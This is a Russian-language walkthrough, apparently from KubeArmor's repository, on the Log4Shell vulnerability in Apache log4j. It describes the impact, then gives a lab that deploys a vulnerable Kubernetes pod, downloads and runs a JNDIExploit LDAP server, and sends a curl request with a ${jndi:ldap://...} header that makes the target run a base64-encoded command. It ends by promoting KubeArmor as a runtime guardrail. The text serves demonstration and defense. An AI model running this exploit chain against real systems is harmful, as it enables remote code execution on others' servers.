kubearmor/log4j-cve-2021-44228Уязвимость нулевого дня Apache Log4j, также известная как Log4Shell, также известная как CVE-2021-44228
9 декабря 2021 года мир узнал о новой уязвимости, идентифицированной как CVE-2021-44228, которая затрагивает пакет журналирования Apache log4j для Java. Эта уязвимость получила оценку критичности 10.0 (наиболее критический уровень) и обеспечивает тривиальное удалённое выполнение кода на хостах, работающих с программным обеспечением, использующим эту версию log4j. «Log4Shell» — такое название получила эта атака.
На сегодняшний день доступна версия log4j 2.15.0rc2, которая устраняет эту уязвимость. Однако основная опасность этой уязвимости обусловлена тем, насколько повсеместно распространён этот пакет журналирования. Миллионы приложений, а также поставщики программного обеспечения используют этот пакет как зависимость в собственном коде.
Самое раннее известное обнаружение: 2021-12-01 04:36:50 UTC
Затронутые версии:
Кто затронут?
Воздействие: произвольное выполнение кода от имени пользователя, под которым запущен родительский процесс (код, полученный из публичного интернета, или lolbins, уже присутствующие в системе, или просто получение общих секретов или переменных окружения и передача их атакующему).
Цели: серверы и клиенты, которые запускают Java и логируют что-либо с помощью фреймворка log4j. В первую очередь это проблема серверной стороны, но любая уязвимая конечная точка может стать целью или точкой опоры (pivot point).
Производные проекты: пока не доказано обратное, считайте, что всё, что включает log4j — включая Elasticsearch, Apache Struts / Solr / Druid / Flink и т.д. — затронуто и требует принятия мер по снижению риска (mitigation).
Затронутые версии: log4j 2.x подтверждён — log4j 1.x лишь косвенно (предыдущие уязвимости раскрытия информации) (в некоторых конфигурациях)
Аппаратные устройства (appliances): не забывайте об устройствах, которые могут использовать серверные компоненты Java, но не будут обнаружены неавторизованным сканированием уязвимостей
Пересылка логов: инфраструктура журналирования часто имеет множество топологий пересылки/ретрансляции «северного направления» (northbound — отправка логов кому-то) и «южного направления» (southbound — получение логов от кого-то). Необходимо также учитывать возможность объединения их в цепочку для эксплуатации.
Облако: также затронуты многие крупные провайдеры (курируемый сообществом список программного обеспечения и сервисов, уязвимых к CVE-2021-44228, можно найти в этом GitHub-репозитории.
Шаг №1: Развёртывание пода со связанными сервисами, уязвимыми к Log4j, в Kubernetes
git clone https://github.com/kubearmor/log4j-cve && cd log4j-cve
kubectl apply -f deploy-log4j-k8s.yaml
kubectl get po,svc
NAME READY STATUS RESTARTS AGE
pod/log4j-demo-5d7c84d8b9-vs8ck 1/1 Running 0 1h30m
NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
service/kubernetes ClusterIP 10.112.0.1 <none> 443/TCP 4h44m
service/log4j-svc LoadBalancer 10.112.8.158 35.241.165.36 80:30202/TCP 1h30m
Обратите внимание: мы развернули уязвимое демонстрационное приложение Log4Shell в пространстве имён
default
Шаг №2: Загрузка вредоносного LDAP-сервера
wget https://log4j-knox.s3.amazonaws.com/JNDIExploit-1.2-SNAPSHOT.jar
Шаг №3: Запуск LDAP-сервера для приёма входящего трафика на вашем ПК или облачной ВМ
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [<your-private-ip>] -p 8888
Частный IP можно узнать с помощью
hostname -I.
Убедитесь, что ваш межсетевой экран разрешает трафик для портов1389и8888
Шаг №4: Эксплуатация с помощью команды cURL
# curl <protocol://victim-ip:port> -H 'X-Api-Version: ${jndi:ldap://<malicious-server-ip>:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
curl http://35.241.165.36 -H 'X-Api-Version: ${jndi:ldap://34.135.86.213:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
Здесь 1-й используемый IP — это внешний IP нашего k8s-кластера (Шаг №1), на котором работает уязвимое демонстрационное приложение.
2-й используемый IP — это внешний IP вредоносного LDAP-сервера (Шаг №2)
Шаг №5: Подтверждение путём проверки создания файла /tmp/pwned
kubectl exec -it --namespace default log4j-demo-5d7c84d8b9-vs8ck -- watch -n 2 ls /tmp
Замените
log4j-demo-5d7c84d8b9-vs8ckна ваш под из вывода Шага №1.
Вы должны увидеть файл с именемpwned, созданный в каталоге/tmp.
KubeArmor — это платформа безопасности времени выполнения (Runtime Security Platform), которая может помочь командам Security/DevSecOps защищать свои рабочие нагрузки с помощью средств контроля на основе приложений и систем (например, ограничение порождения процессов, ограничение доступа к файловой системе, ограничение capabilities подов и т.д.). KubeArmor имеет режим видимости (visibility), с помощью которого команда приложения/безопасности может включить наблюдение и, таким образом, выяснить, что происходит внутри подов, т.е. какие процессы порождаются, к каким файлам предпринимаются попытки доступа и т.д. Самое большое преимущество KubeArmor в том, что вы как пользователь можете также отправлять политики, которые могут предотвращать/блокировать/запрещать такие системные операции.
Обычно злоумышленник проникает с намерением либо похитить внутренние данные, либо заняться криптомайнингом, либо просто устроить хаос во внутренних приложениях, чтобы сделать их недоступными. Во всех этих случаях злоумышленнику необходимо выполнить произвольную программу, которая сможет реализовать его вредоносный замысел. Уязвимость Log4j позволяет злоумышленнику разместить бинарный файл во внутренней сети. Однако можно установить ограничения (guardrails), чтобы не позволять JVM порождать процессы.